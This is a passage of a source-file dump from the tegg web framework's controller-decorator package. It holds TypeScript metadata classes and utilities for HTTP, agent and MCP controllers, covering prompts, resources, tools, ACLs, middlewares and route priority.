    "content": "import type { MiddlewareFunc } from '@eggjs/tegg-types';\n\nimport type { PromptArgsSchemaDetail } from '../util/MCPInfoUtil.ts';\n\nexport class MCPPromptMeta {\n  readonly name: string;\n  readonly needAcl: boolean;\n  readonly mcpName?: string;\n  readonly aclCode?: string;\n  readonly description?: string;\n  readonly detail?: PromptArgsSchemaDetail;\n  readonly middlewares: readonly MiddlewareFunc[];\n  readonly extra?: number;\n  readonly title?: string;\n\n  constructor(opt: {\n    name: string;\n    middlewares: MiddlewareFunc[];\n    needAcl?: boolean;\n    aclCode?: string;\n    description?: string;\n    mcpName?: string;\n    detail?: PromptArgsSchemaDetail;\n    extra?: number;\n    title?: string;\n  }) {\n    this.name = opt.name;\n    this.needAcl = !!opt.needAcl;\n    this.description = opt.description;\n    this.mcpName = opt.mcpName;\n    this.middlewares = opt.middlewares;\n    this.aclCode = opt.aclCode;\n    this.detail = opt.detail;\n    this.extra = opt.extra;\n    this.title = opt.title;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/model/MCPResourceMeta.ts",
    "content": "import type { MiddlewareFunc } from '@eggjs/tegg-types';\nimport { ResourceTemplate } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport type { ResourceMetadata } from '@modelcontextprotocol/sdk/server/mcp.js';\n\nexport class MCPResourceMeta {\n  readonly name: string;\n  readonly needAcl: boolean;\n  readonly aclCode?: string;\n  readonly mcpName?: string;\n  readonly uri?: string;\n  readonly template?: ResourceTemplate;\n  readonly metadata?: ResourceMetadata;\n  readonly middlewares: readonly MiddlewareFunc[];\n  readonly extra?: number;\n\n  constructor(opt: {\n    name: string;\n    middlewares: MiddlewareFunc[];\n    needAcl?: boolean;\n    aclCode?: string;\n    mcpName?: string;\n    uri?: string;\n    template?: ConstructorParameters<typeof ResourceTemplate>;\n    metadata?: ResourceMetadata;\n    extra?: number;\n  }) {\n    this.name = opt.name;\n    this.needAcl = !!opt.needAcl;\n    this.uri = opt.uri;\n    this.metadata = opt.metadata;\n    if (opt.template) {\n      this.template = new ResourceTemplate(opt.template[0], opt.template[1]);\n    }\n    this.middlewares = opt.middlewares;\n    this.aclCode = opt.aclCode;\n    this.mcpName = opt.mcpName;\n    this.extra = opt.extra;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/model/MCPToolMeta.ts",
    "content": "import type { MiddlewareFunc } from '@eggjs/tegg-types';\n\nimport type { ToolArgsSchemaDetail } from '../util/MCPInfoUtil.ts';\n\nexport class MCPToolMeta {\n  readonly name: string;\n  readonly needAcl: boolean;\n  readonly aclCode?: string;\n  readonly mcpName?: string;\n  readonly description?: string;\n  readonly detail?: ToolArgsSchemaDetail;\n  readonly middlewares: readonly MiddlewareFunc[];\n  readonly extra?: number;\n\n  constructor(opt: {\n    name: string;\n    middlewares: MiddlewareFunc[];\n    needAcl?: boolean;\n    aclCode?: string;\n    description?: string;\n    mcpName?: string;\n    detail?: ToolArgsSchemaDetail;\n    extra?: number;\n  }) {\n    this.name = opt.name;\n    this.needAcl = !!opt.needAcl;\n    this.description = opt.description;\n    this.mcpName = opt.mcpName;\n    this.middlewares = opt.middlewares;\n    this.aclCode = opt.aclCode;\n    this.detail = opt.detail;\n    this.extra = opt.extra;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/model/index.ts",
    "content": "export * from './HTTPControllerMeta.ts';\nexport * from './HTTPCookies.ts';\nexport * from './HTTPMethodMeta.ts';\nexport * from './HTTPResponse.ts';\nexport * from './MCPControllerMeta.ts';\nexport * from './MCPPromptMeta.ts';\nexport * from './MCPResourceMeta.ts';\nexport * from './MCPToolMeta.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/AgentInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport {\n  CONTROLLER_AGENT_CONTROLLER,\n  CONTROLLER_AGENT_NOT_IMPLEMENTED,\n  CONTROLLER_AGENT_ENHANCED,\n} from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nexport class AgentInfoUtil {\n  static setAgentController(clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(CONTROLLER_AGENT_CONTROLLER, true, clazz);\n  }\n\n  static isAgentController(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.getBooleanMetaData(CONTROLLER_AGENT_CONTROLLER, clazz);\n  }\n\n  static setNotImplemented(fn: Function): void {\n    Reflect.defineMetadata(CONTROLLER_AGENT_NOT_IMPLEMENTED, true, fn);\n  }\n\n  static isNotImplemented(fn: Function): boolean {\n    return !!Reflect.getMetadata(CONTROLLER_AGENT_NOT_IMPLEMENTED, fn);\n  }\n\n  static setEnhanced(clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(CONTROLLER_AGENT_ENHANCED, true, clazz);\n  }\n\n  static isEnhanced(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.getBooleanMetaData(CONTROLLER_AGENT_ENHANCED, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/ControllerInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport {\n  CONTROLLER_ACL,\n  CONTROLLER_AOP_MIDDLEWARES,\n  CONTROLLER_HOST,\n  CONTROLLER_MIDDLEWARES,\n  CONTROLLER_NAME,\n  CONTROLLER_TIMEOUT_METADATA,\n  CONTROLLER_TYPE,\n  type IAdvice,\n} from '@eggjs/tegg-types';\nimport type { ControllerTypeLike, EggProtoImplClass, MiddlewareFunc } from '@eggjs/tegg-types';\n\nexport class ControllerInfoUtil {\n  static addControllerMiddleware(middleware: MiddlewareFunc, clazz: EggProtoImplClass): void {\n    const middlewares = MetadataUtil.initOwnArrayMetaData<MiddlewareFunc>(CONTROLLER_MIDDLEWARES, clazz, []);\n    middlewares.push(middleware);\n  }\n\n  static addControllerAopMiddleware(middleware: EggProtoImplClass<IAdvice>, clazz: EggProtoImplClass): void {\n    const middlewares = MetadataUtil.initOwnArrayMetaData<EggProtoImplClass<IAdvice>>(\n      CONTROLLER_AOP_MIDDLEWARES,\n      clazz,\n      [],\n    );\n    middlewares.push(middleware);\n  }\n\n  static getControllerMiddlewares(clazz: EggProtoImplClass): MiddlewareFunc[] {\n    return MetadataUtil.getMetaData(CONTROLLER_MIDDLEWARES, clazz) || [];\n  }\n\n  static getControllerAopMiddlewares(clazz: EggProtoImplClass): EggProtoImplClass<IAdvice>[] {\n    return MetadataUtil.getMetaData(CONTROLLER_AOP_MIDDLEWARES, clazz) || [];\n  }\n\n  static setControllerType(clazz: EggProtoImplClass, controllerType: ControllerTypeLike): void {\n    MetadataUtil.defineMetaData(CONTROLLER_TYPE, controllerType, clazz);\n  }\n\n  static setControllerName(clazz: EggProtoImplClass, controllerName: string): void {\n    MetadataUtil.defineMetaData(CONTROLLER_NAME, controllerName, clazz);\n  }\n\n  static getControllerName(clazz: EggProtoImplClass): string | undefined {\n    return MetadataUtil.getMetaData(CONTROLLER_NAME, clazz);\n  }\n\n  static getControllerType(clazz: EggProtoImplClass): ControllerTypeLike | undefined {\n    return MetadataUtil.getMetaData(CONTROLLER_TYPE, clazz);\n  }\n\n  static setControllerAcl(code: string | undefined, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(CONTROLLER_ACL, code, clazz);\n  }\n\n  static hasControllerAcl(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.hasMetaData(CONTROLLER_ACL, clazz);\n  }\n\n  static getControllerAcl(clazz: EggProtoImplClass): string | undefined {\n    return MetadataUtil.getMetaData(CONTROLLER_ACL, clazz);\n  }\n\n  static addControllerHosts(hosts: string[], clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(CONTROLLER_HOST, hosts, clazz);\n  }\n\n  static getControllerHosts(clazz: EggProtoImplClass): string[] | undefined {\n    return MetadataUtil.getMetaData(CONTROLLER_HOST, clazz);\n  }\n\n  static setControllerTimeout(timeout: number, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(CONTROLLER_TIMEOUT_METADATA, timeout, clazz);\n  }\n\n  static getControllerTimeout(clazz: EggProtoImplClass): number | undefined {\n    return MetadataUtil.getMetaData(CONTROLLER_TIMEOUT_METADATA, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/ControllerMetadataUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { CONTROLLER_META_DATA } from '@eggjs/tegg-types';\nimport type { ControllerMetadata, EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ControllerMetaBuilderFactory } from '../builder/index.ts';\n\nexport class ControllerMetadataUtil {\n  static setControllerMetadata(clazz: EggProtoImplClass, metaData: ControllerMetadata): void {\n    MetadataUtil.defineMetaData(CONTROLLER_META_DATA, metaData, clazz);\n  }\n\n  static getControllerMetadata(clazz: EggProtoImplClass): ControllerMetadata | undefined {\n    let metadata: ControllerMetadata | undefined = MetadataUtil.getOwnMetaData(CONTROLLER_META_DATA, clazz);\n    if (metadata) {\n      return metadata;\n    }\n    metadata = ControllerMetaBuilderFactory.build(clazz);\n    if (metadata) {\n      ControllerMetadataUtil.setControllerMetadata(clazz, metadata);\n    }\n    return metadata;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/HTTPInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport {\n  CONTROLLER_HTTP_PATH,\n  CONTROLLER_METHOD_METHOD_MAP,\n  CONTROLLER_METHOD_PARAM_NAME_MAP,\n  CONTROLLER_METHOD_PARAM_TYPE_MAP,\n  CONTROLLER_METHOD_PATH_MAP,\n  CONTROLLER_METHOD_PRIORITY,\n} from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, HTTPMethodEnum, HTTPParamType } from '@eggjs/tegg-types';\n\ntype HTTPMethodPathMap = Map<string, string>;\ntype HTTPMethodMethodMap = Map<string, HTTPMethodEnum>;\ntype HTTPMethodParamTypeMap = Map<string, Map<number, HTTPParamType>>;\ntype HTTPMethodParamNameMap = Map<string, Map<number, string>>;\ntype HTTPMethodPriorityMap = Map<string, number>;\n\nexport class HTTPInfoUtil {\n  static setHTTPPath(path: string, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(CONTROLLER_HTTP_PATH, path, clazz);\n  }\n\n  static getHTTPPath(clazz: EggProtoImplClass): string | undefined {\n    return MetadataUtil.getMetaData(CONTROLLER_HTTP_PATH, clazz);\n  }\n\n  static setHTTPMethodPath(path: string, clazz: EggProtoImplClass, methodName: string): void {\n    const methodPathMap = MetadataUtil.initOwnMapMetaData(CONTROLLER_METHOD_PATH_MAP, clazz, new Map());\n    methodPathMap.set(methodName, path);\n  }\n\n  static getHTTPMethodPath(clazz: EggProtoImplClass, methodName: string): string | undefined {\n    const methodPathMap: HTTPMethodPathMap | undefined = MetadataUtil.getMetaData(CONTROLLER_METHOD_PATH_MAP, clazz);\n    return methodPathMap?.get(methodName);\n  }\n\n  static setHTTPMethodMethod(method: HTTPMethodEnum, clazz: EggProtoImplClass, methodName: string): void {\n    const methodMap: HTTPMethodMethodMap = MetadataUtil.initOwnMapMetaData(\n      CONTROLLER_METHOD_METHOD_MAP,\n      clazz,\n      new Map(),\n    );\n    methodMap.set(methodName, method);\n  }\n\n  static getHTTPMethodMethod(clazz: EggProtoImplClass, methodName: string): HTTPMethodEnum | undefined {\n    const methodMap: HTTPMethodMethodMap | undefined = MetadataUtil.getMetaData(CONTROLLER_METHOD_METHOD_MAP, clazz);\n    return methodMap?.get(methodName);\n  }\n\n  static setHTTPMethodParamType(\n    paramType: HTTPParamType,\n    parameterIndex: number,\n    clazz: EggProtoImplClass,\n    methodName: string,\n  ): void {\n    const methodParamMap: HTTPMethodParamTypeMap = MetadataUtil.initOwnMapMetaData(\n      CONTROLLER_METHOD_PARAM_TYPE_MAP,\n      clazz,\n      new Map(),\n    );\n    const paramMap = MapUtil.getOrStore(methodParamMap, methodName, new Map());\n    paramMap.set(parameterIndex, paramType);\n  }\n\n  static getParamIndexList(clazz: EggProtoImplClass, methodName: string): number[] {\n    const methodParamMap: HTTPMethodParamTypeMap | undefined = MetadataUtil.getMetaData(\n      CONTROLLER_METHOD_PARAM_TYPE_MAP,\n      clazz,\n    );\n    const paramMap = methodParamMap?.get(methodName);\n    if (!paramMap) {\n      return [];\n    }\n    return Array.from(paramMap.keys());\n  }\n\n  static getHTTPMethodParamType(\n    parameterIndex: number,\n    clazz: EggProtoImplClass,\n    methodName: string,\n  ): HTTPParamType | undefined {\n    const methodParamMap: HTTPMethodParamTypeMap | undefined = MetadataUtil.getMetaData(\n      CONTROLLER_METHOD_PARAM_TYPE_MAP,\n      clazz,\n    );\n    const paramMap = methodParamMap?.get(methodName);\n    return paramMap?.get(parameterIndex);\n  }\n\n  static setHTTPMethodParamName(\n    paramName: string,\n    parameterIndex: number,\n    clazz: EggProtoImplClass,\n    methodName: string,\n  ): void {\n    const methodParamNameMap: HTTPMethodParamNameMap = MetadataUtil.initOwnMapMetaData(\n      CONTROLLER_METHOD_PARAM_NAME_MAP,\n      clazz,\n      new Map(),\n    );\n    const paramMap = MapUtil.getOrStore(methodParamNameMap, methodName, new Map());\n    paramMap.set(parameterIndex, paramName);\n  }\n\n  static getHTTPMethodParamName(\n    parameterIndex: number,\n    clazz: EggProtoImplClass,\n    methodName: string,\n  ): string | undefined {\n    const methodParamNameMap: HTTPMethodParamNameMap | undefined = MetadataUtil.getMetaData(\n      CONTROLLER_METHOD_PARAM_NAME_MAP,\n      clazz,\n    );\n    const paramMap = methodParamNameMap?.get(methodName);\n    return paramMap?.get(parameterIndex);\n  }\n\n  static getHTTPMethodPriority(clazz: EggProtoImplClass, methodName: string): number | undefined {\n    const methodPriorityMap: HTTPMethodPriorityMap | undefined = MetadataUtil.getMetaData(\n      CONTROLLER_METHOD_PRIORITY,\n      clazz,\n    );\n    return methodPriorityMap?.get(methodName);\n  }\n\n  static setHTTPMethodPriority(priority: number, clazz: EggProtoImplClass, methodName: string): void {\n    const methodPriorityMap: HTTPMethodPriorityMap = MetadataUtil.initOwnMapMetaData(\n      CONTROLLER_METHOD_PRIORITY,\n      clazz,\n      new Map(),\n    );\n    methodPriorityMap.set(methodName, priority);\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/HTTPPriorityUtil.ts",
    "content": "import { parse } from 'path-to-regexp';\n\nexport class HTTPPriorityUtil {\n  static readonly DEFAULT_PRIORITY = 100000;\n  private static readonly TOKEN_PRIORITY = 1000;\n\n  /**\n   * | Path | RegExp index | priority |\n   * | --- | --- | --- |\n   * | /* | [0] | 0 |\n   * | /hello/:name | [1] | 1000 |\n   * | /hello/world/message/:message | [3] | 3000 |\n   * | /hello/:name/message/:message | [1, 3] | 4000 |\n   * | /hello/world | [] | 100000/Infinity？ |\n   *\n   * priority = hasRegExp\n   *   : regexpIndex.reduce((p,c) => p + c * 1000, 0)\n   *   : 100000;\n   * @param {string} path - path to calculate priority\n   * @returns {number} priority\n   */\n  static calcPathPriority(path: string): number {\n    const tokens = parse(path);\n    let priority = 0;\n    let hasRegExp = false;\n    let index = 0;\n    let token;\n    while ((token = tokens.shift())) {\n      if (typeof token === 'string') {\n        // /view/users/*\n        // token is [ '/view/users', '*' ]\n        index += token.split('/').length - 1;\n      } else {\n        hasRegExp = true;\n        priority += index++ * this.TOKEN_PRIORITY;\n      }\n    }\n    if (!hasRegExp) {\n      return this.DEFAULT_PRIORITY;\n    }\n    return priority;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/MCPInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport {\n  CONTROLLER_MCP_NAME,\n  CONTROLLER_MCP_PROMPT_MAP,\n  CONTROLLER_MCP_RESOURCE_MAP,\n  CONTROLLER_MCP_RESOURCE_PARAMS_MAP,\n  CONTROLLER_MCP_TOOL_MAP,\n  CONTROLLER_MCP_TOOL_PARAMS_MAP,\n  CONTROLLER_MCP_VERSION,\n  CONTROLLER_MCP_TOOL_ARGS_INDEX,\n  CONTROLLER_MCP_PROMPT_ARGS_INDEX,\n  CONTROLLER_MCP_EXTRA_INDEX,\n  CONTROLLER_MCP_PROMPT_PARAMS_MAP,\n  CONTROLLER_MCP_CONTROLLER_PARAMS_MAP,\n} from '@eggjs/tegg-types';\nimport type {\n  MCPPromptParams,\n  MCPResourceParams,\n  MCPToolParams,\n  EggProtoImplClass,\n  MCPControllerParams,\n} from '@eggjs/tegg-types';\nimport type { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\n\ntype MCPMethodMap = Map<string, boolean>;\ntype MCPResourceMap = Map<string, MCPResourceParams>;\ntype MCPToolMap = Map<string, MCPToolParams>;\ntype MCPPromptMap = Map<string, MCPPromptParams>;\n\nexport interface ToolArgsSchemaDetail {\n  argsSchema: Parameters<McpServer['tool']>['2'];\n  index: number;\n}\ntype MCPToolArgsSchemaMap = Map<string, ToolArgsSchemaDetail>;\n\ntype MCPExtraMap = Map<string, number>;\n\nexport interface PromptArgsSchemaDetail {\n  argsSchema: Parameters<McpServer['prompt']>['2'];\n  index: number;\n}\ntype MCPPromptArgsSchemaMap = Map<string, PromptArgsSchemaDetail>;\n\nexport class MCPInfoUtil {\n  static setMCPName(name: string, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(CONTROLLER_MCP_NAME, name, clazz);\n  }\n\n  static getMCPName(clazz: EggProtoImplClass): string | undefined {\n    return MetadataUtil.getMetaData(CONTROLLER_MCP_NAME, clazz);\n  }\n\n  static setMCPVersion(version: string, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(CONTROLLER_MCP_VERSION, version, clazz);\n  }\n\n  static getMCPVersion(clazz: EggProtoImplClass): string | undefined {\n    return MetadataUtil.getMetaData(CONTROLLER_MCP_VERSION, clazz);\n  }\n\n  static setMCPControllerParams(params: MCPControllerParams | undefined, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(CONTROLLER_MCP_CONTROLLER_PARAMS_MAP, params, clazz);\n  }\n\n  static getMCPControllerParams(clazz: EggProtoImplClass): MCPControllerParams | undefined {\n    return MetadataUtil.getMetaData(CONTROLLER_MCP_CONTROLLER_PARAMS_MAP, clazz);\n  }\n\n  static setMCPResource(clazz: EggProtoImplClass, methodName: string): void {\n    const methodMap: MCPMethodMap = MetadataUtil.initOwnMapMetaData(CONTROLLER_MCP_RESOURCE_MAP, clazz, new Map());\n    methodMap.set(methodName, true);\n  }\n\n  static getMCPResource(clazz: EggProtoImplClass): string[] {\n    const methodMap: MCPMethodMap | undefined = MetadataUtil.getMetaData(CONTROLLER_MCP_RESOURCE_MAP, clazz);\n    if (!methodMap) {\n      return [];\n    }\n    return Array.from(methodMap.keys());\n  }\n\n  static setMCPResourceParams(\n    params: MCPResourceParams & { mcpName?: string },\n    clazz: EggProtoImplClass,\n    resourceName: string,\n  ): void {\n    const methodMap: MCPResourceMap = MetadataUtil.initOwnMapMetaData(\n      CONTROLLER_MCP_RESOURCE_PARAMS_MAP,\n      clazz,\n      new Map(),\n    );\n    methodMap.set(resourceName, params);\n  }\n\n  static getMCPResourceParams(\n    clazz: EggProtoImplClass,\n    resourceName: string,\n  ): (MCPResourceParams & { mcpName?: string }) | undefined {\n    const methodMap: MCPResourceMap | undefined = MetadataUtil.getMetaData(CONTROLLER_MCP_RESOURCE_PARAMS_MAP, clazz);\n    return methodMap?.get(resourceName);\n  }\n\n  static setMCPTool(clazz: EggProtoImplClass, methodName: string): void {\n    const methodMap: MCPMethodMap = MetadataUtil.initOwnMapMetaData(CONTROLLER_MCP_TOOL_MAP, clazz, new Map());\n    methodMap.set(methodName, true);\n  }\n\n  static getMCPTool(clazz: EggProtoImplClass): string[] {\n    const methodMap: MCPMethodMap | undefined = MetadataUtil.getMetaData(CONTROLLER_MCP_TOOL_MAP, clazz);\n    if (!methodMap) {\n      return [];\n    }\n    return Array.from(methodMap.keys());\n  }\n\n  static getMCPToolParams(\n    clazz: EggProtoImplClass,\n    resourceName: string,\n  ): (MCPToolParams & { mcpName?: string }) | undefined {\n    const methodMap: MCPToolMap | undefined = MetadataUtil.getMetaData(CONTROLLER_MCP_TOOL_PARAMS_MAP, clazz);\n    return methodMap?.get(resourceName);\n  }\n\n  static setMCPToolParams(\n    params: MCPToolParams & { mcpName?: string },\n    clazz: EggProtoImplClass,\n    resourceName: string,\n  ): void {\n    const methodMap: MCPToolMap = MetadataUtil.initOwnMapMetaData(CONTROLLER_MCP_TOOL_PARAMS_MAP, clazz, new Map());\n    methodMap.set(resourceName, params);\n  }\n\n  static setMCPPrompt(clazz: EggProtoImplClass, methodName: string): void {\n    const methodMap: MCPMethodMap = MetadataUtil.initOwnMapMetaData(CONTROLLER_MCP_PROMPT_MAP, clazz, new Map());\n    methodMap.set(methodName, true);\n  }\n\n  static getMCPPrompt(clazz: EggProtoImplClass): string[] {\n    const methodMap: MCPMethodMap | undefined = MetadataUtil.getMetaData(CONTROLLER_MCP_PROMPT_MAP, clazz);\n    if (!methodMap) {\n      return [];\n    }\n    return Array.from(methodMap.keys());\n  }\n\n  static setMCPPromptParams(\n    params: MCPPromptParams & { mcpName?: string },\n    clazz: EggProtoImplClass,\n    resourceName: string,\n  ): void {\n    const methodMap: MCPPromptMap = MetadataUtil.initOwnMapMetaData(CONTROLLER_MCP_PROMPT_PARAMS_MAP, clazz, new Map());\n    methodMap.set(resourceName, params);\n  }\n\n  static getMCPPromptParams(\n    clazz: EggProtoImplClass,\n    resourceName: string,\n  ): (MCPPromptParams & { mcpName?: string }) | undefined {\n    const methodMap: MCPPromptMap | undefined = MetadataUtil.getMetaData(CONTROLLER_MCP_PROMPT_PARAMS_MAP, clazz);\n    return methodMap?.get(resourceName);\n  }\n\n  static setMCPToolArgsInArgs(detail: ToolArgsSchemaDetail, clazz: EggProtoImplClass, methodName: string): void {\n    const methodContextIndexMap: MCPToolArgsSchemaMap = MetadataUtil.initOwnMapMetaData(\n      CONTROLLER_MCP_TOOL_ARGS_INDEX,\n      clazz,\n      new Map(),\n    );\n    methodContextIndexMap.set(methodName, detail);\n  }\n\n  static getMCPToolArgsIndex(clazz: EggProtoImplClass, methodName: string): ToolArgsSchemaDetail | undefined {\n    const methodContextIndexMap: MCPToolArgsSchemaMap | undefined = MetadataUtil.getMetaData(\n      CONTROLLER_MCP_TOOL_ARGS_INDEX,\n      clazz,\n    );\n    return methodContextIndexMap?.get(methodName);\n  }\n\n  static setMCPExtra(index: number, clazz: EggProtoImplClass, methodName: string): void {\n    const methodContextIndexMap: MCPExtraMap = MetadataUtil.initOwnMapMetaData(\n      CONTROLLER_MCP_EXTRA_INDEX,\n      clazz,\n      new Map(),\n    );\n    methodContextIndexMap.set(methodName, index);\n  }\n\n  static getMCPExtra(clazz: EggProtoImplClass, methodName: string): number | undefined {\n    const methodContextIndexMap: MCPExtraMap | undefined = MetadataUtil.getMetaData(CONTROLLER_MCP_EXTRA_INDEX, clazz);\n    return methodContextIndexMap?.get(methodName);\n  }\n\n  static setMCPPromptArgsInArgs(detail: PromptArgsSchemaDetail, clazz: EggProtoImplClass, methodName: string): void {\n    const methodContextIndexMap: MCPPromptArgsSchemaMap = MetadataUtil.initOwnMapMetaData(\n      CONTROLLER_MCP_PROMPT_ARGS_INDEX,\n      clazz,\n      new Map(),\n    );\n    methodContextIndexMap.set(methodName, detail);\n  }\n\n  static getMCPPromptArgsIndex(clazz: EggProtoImplClass, methodName: string): PromptArgsSchemaDetail | undefined {\n    const methodContextIndexMap: MCPPromptArgsSchemaMap | undefined = MetadataUtil.getMetaData(\n      CONTROLLER_MCP_PROMPT_ARGS_INDEX,\n      clazz,\n    );\n    return methodContextIndexMap?.get(methodName);\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/MethodInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport {\n  type IAdvice,\n  METHOD_ACL,\n  METHOD_AOP_MIDDLEWARES,\n  METHOD_AOP_REGISTER_MAP,\n  METHOD_CONTEXT_INDEX,\n  METHOD_CONTROLLER_HOST,\n  METHOD_CONTROLLER_TYPE_MAP,\n  METHOD_MIDDLEWARES,\n  METHOD_TIMEOUT_METADATA,\n} from '@eggjs/tegg-types';\nimport type { ControllerTypeLike, EggProtoImplClass, MiddlewareFunc } from '@eggjs/tegg-types';\n\ntype METHOD_MAP = Map<string, ControllerTypeLike | string[]>;\ntype MethodAopRegisterMap = Map<string, boolean>;\ntype MethodContextIndexMap = Map<string, number>;\ntype MethodMiddlewareMap = Map<string, MiddlewareFunc[]>;\ntype MethodAopMiddlewareMap = Map<string, EggProtoImplClass<IAdvice>[]>;\ntype MethodAclMap = Map<string, string | undefined>;\ntype MethodTimeoutMap = Map<string, number>;\n\nexport class MethodInfoUtil {\n  static setMethodControllerType(\n    clazz: EggProtoImplClass,\n    methodName: string,\n    controllerType: ControllerTypeLike,\n  ): void {\n    const methodControllerMap: METHOD_MAP = MetadataUtil.initOwnMapMetaData(\n      METHOD_CONTROLLER_TYPE_MAP,\n      clazz,\n      new Map(),\n    );\n    methodControllerMap.set(methodName, controllerType);\n  }\n\n  static getMethodControllerType(clazz: EggProtoImplClass, methodName: string): ControllerTypeLike | undefined {\n    const methodControllerMap: METHOD_MAP | undefined = MetadataUtil.getMetaData(METHOD_CONTROLLER_TYPE_MAP, clazz);\n    return methodControllerMap?.get(methodName) as ControllerTypeLike | undefined;\n  }\n\n  static setMethodContextIndexInArgs(index: number, clazz: EggProtoImplClass, methodName: string): void {\n    const methodContextIndexMap: MethodContextIndexMap = MetadataUtil.initOwnMapMetaData(\n      METHOD_CONTEXT_INDEX,\n      clazz,\n      new Map(),\n    );\n    methodContextIndexMap.set(methodName, index);\n  }\n\n  static getMethodContextIndex(clazz: EggProtoImplClass, methodName: string): number | undefined {\n    const methodContextIndexMap: MethodContextIndexMap | undefined = MetadataUtil.getMetaData(\n      METHOD_CONTEXT_INDEX,\n      clazz,\n    );\n    return methodContextIndexMap?.get(methodName);\n  }\n\n  static addMethodMiddleware(middleware: MiddlewareFunc, clazz: EggProtoImplClass, methodName: string): void {\n    const methodMiddlewareMap: MethodMiddlewareMap = MetadataUtil.initOwnMapMetaData(\n      METHOD_MIDDLEWARES,\n      clazz,\n      new Map(),\n    );\n    const methodMiddlewares = MapUtil.getOrStore(methodMiddlewareMap, methodName, []);\n    methodMiddlewares.push(middleware);\n  }\n\n  static getMethodMiddlewares(clazz: EggProtoImplClass, methodName: string): MiddlewareFunc[] {\n    const methodMiddlewareMap: MethodMiddlewareMap | undefined = MetadataUtil.getMetaData(METHOD_MIDDLEWARES, clazz);\n    return methodMiddlewareMap?.get(methodName) || [];\n  }\n\n  static addMethodAopMiddleware(\n    middleware: EggProtoImplClass<IAdvice>,\n    clazz: EggProtoImplClass,\n    methodName: string,\n  ): void {\n    const methodMiddlewareMap: MethodAopMiddlewareMap = MetadataUtil.initOwnMapMetaData(\n      METHOD_AOP_MIDDLEWARES,\n      clazz,\n      new Map(),\n    );\n    const methodMiddlewares = MapUtil.getOrStore(methodMiddlewareMap, methodName, []);\n    methodMiddlewares.push(middleware);\n  }\n\n  static getMethodAopMiddlewares(clazz: EggProtoImplClass, methodName: string): EggProtoImplClass<IAdvice>[] {\n    const methodMiddlewareMap: MethodAopMiddlewareMap | undefined = MetadataUtil.getMetaData(\n      METHOD_AOP_MIDDLEWARES,\n      clazz,\n    );\n    return methodMiddlewareMap?.get(methodName) || [];\n  }\n\n  static setMethodAcl(code: string | undefined, clazz: EggProtoImplClass, methodName: string): void {\n    const methodAclMap: MethodAclMap = MetadataUtil.initOwnMapMetaData(METHOD_ACL, clazz, new Map());\n    methodAclMap.set(methodName, code);\n  }\n\n  static hasMethodAcl(clazz: EggProtoImplClass, methodName: string): boolean {\n    const methodAclMap: MethodAclMap | undefined = MetadataUtil.getMetaData(METHOD_ACL, clazz);\n    return !!methodAclMap?.has(methodName);\n  }\n\n  static getMethodAcl(clazz: EggProtoImplClass, methodName: string): string | undefined {\n    const methodAclMap: MethodAclMap | undefined = MetadataUtil.getMetaData(METHOD_ACL, clazz);\n    return methodAclMap?.get(methodName);\n  }\n\n  static setMethodHosts(hosts: string[], clazz: EggProtoImplClass, methodName: string): void {\n    const methodControllerMap: METHOD_MAP = MetadataUtil.initOwnMapMetaData(METHOD_CONTROLLER_HOST, clazz, new Map());\n    methodControllerMap.set(methodName, hosts);\n  }\n\n  static getMethodHosts(clazz: EggProtoImplClass, methodName: string): string[] | undefined {\n    const methodControllerMap: METHOD_MAP | undefined = MetadataUtil.getMetaData(METHOD_CONTROLLER_HOST, clazz);\n    return methodControllerMap?.get(methodName) as string[] | undefined;\n  }\n\n  static getMethods(clazz: EggProtoImplClass): string[] {\n    const methodControllerMap: METHOD_MAP | undefined = MetadataUtil.getMetaData(METHOD_CONTROLLER_TYPE_MAP, clazz);\n    return Array.from(methodControllerMap?.keys() || []);\n  }\n\n  static shouldRegisterAopMiddlewarePointCut(clazz: EggProtoImplClass, methodName: string): boolean {\n    const methodControllerMap: MethodAopRegisterMap | undefined = MetadataUtil.getMetaData(\n      METHOD_AOP_REGISTER_MAP,\n      clazz,\n    );\n    return !(methodControllerMap && methodControllerMap.get(methodName));\n  }\n\n  static registerAopMiddlewarePointcut(clazz: EggProtoImplClass, methodName: string): void {\n    const methodControllerMap: MethodAopRegisterMap = MetadataUtil.initOwnMapMetaData(\n      METHOD_AOP_REGISTER_MAP,\n      clazz,\n      new Map(),\n    );\n    